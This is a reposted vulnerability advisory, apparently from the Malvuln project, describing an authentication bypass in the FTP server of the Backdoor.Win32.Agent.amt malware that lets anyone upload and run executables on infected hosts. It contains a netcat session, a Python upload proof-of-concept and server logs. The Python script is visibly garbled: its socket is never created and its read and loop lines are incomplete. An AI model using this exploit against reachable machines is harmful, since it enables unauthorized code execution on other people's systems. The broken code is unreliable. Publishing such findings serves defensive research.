Backdoor.Win32.Agent.amt / Authentication Bypass

CVE Category Price Severity
N/A CWE-200 N/A N/A
Author Risk Exploitation Type Date
Unknown High Remote 2024-02-29
Our sensors found this exploit at:

Below is a copy:

Backdoor.Win32.Agent.amt / Authentication Bypass
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Agent.amt
Vulnerability: Authentication Bypass
Description: The malware can run an FTP server which listens on TCP port 2121. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders can then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Family: Agent
Type: PE32
MD5: 2a442d3da88f721a786ff33179c664b7
Vuln ID: MVID-2024-0673
Disclosure: 02/28/2024 

C:\sec>nc64.exe 2121
220 Welcome To mybr Ftp!
331 Password required for gg.
230 User gg logged in.
215 UNIX Type: L8 Internet Component Suite
250 CWD command successful. "C:/" is current directory.
227 Entering Passive Mode (192,168,18,125,211,164).
150 Opening data connection for DOOM_SM.exe.
226 File received ok

from socket import *
import time

HOST = ""
PORT = 54180
s.connect((HOST, PORT))

with open("DOOM_SM.exe", "rb") as f:
    while True: 
        bytez =
        if not bytez:

print("By malvuln")

1/23/2024 9:13:03 PM - gg - Disconnected
1/23/2024 9:10:36 PM - gg - STOR C:\DOOM_SM.exe
1/23/2024 9:09:54 PM - gg -  PASV C:\
1/23/2024 9:09:44 PM - CD C:\
1/23/2024 9:09:44 PM - gg -  CDUP C:\
1/23/2024 9:09:18 PM - gg -  SYST C:\
1/23/2024 9:09:15 PM - gg
1/23/2024 9:09:15 PM - gg -  PASS C:\TEMP\hate
1/23/2024 9:09:12 PM -  -  USER C:\TEMP\gg
1/23/2024 9:09:06 PM -  -  Connected
1/23/2024 9:08:58 PM - FTP Started

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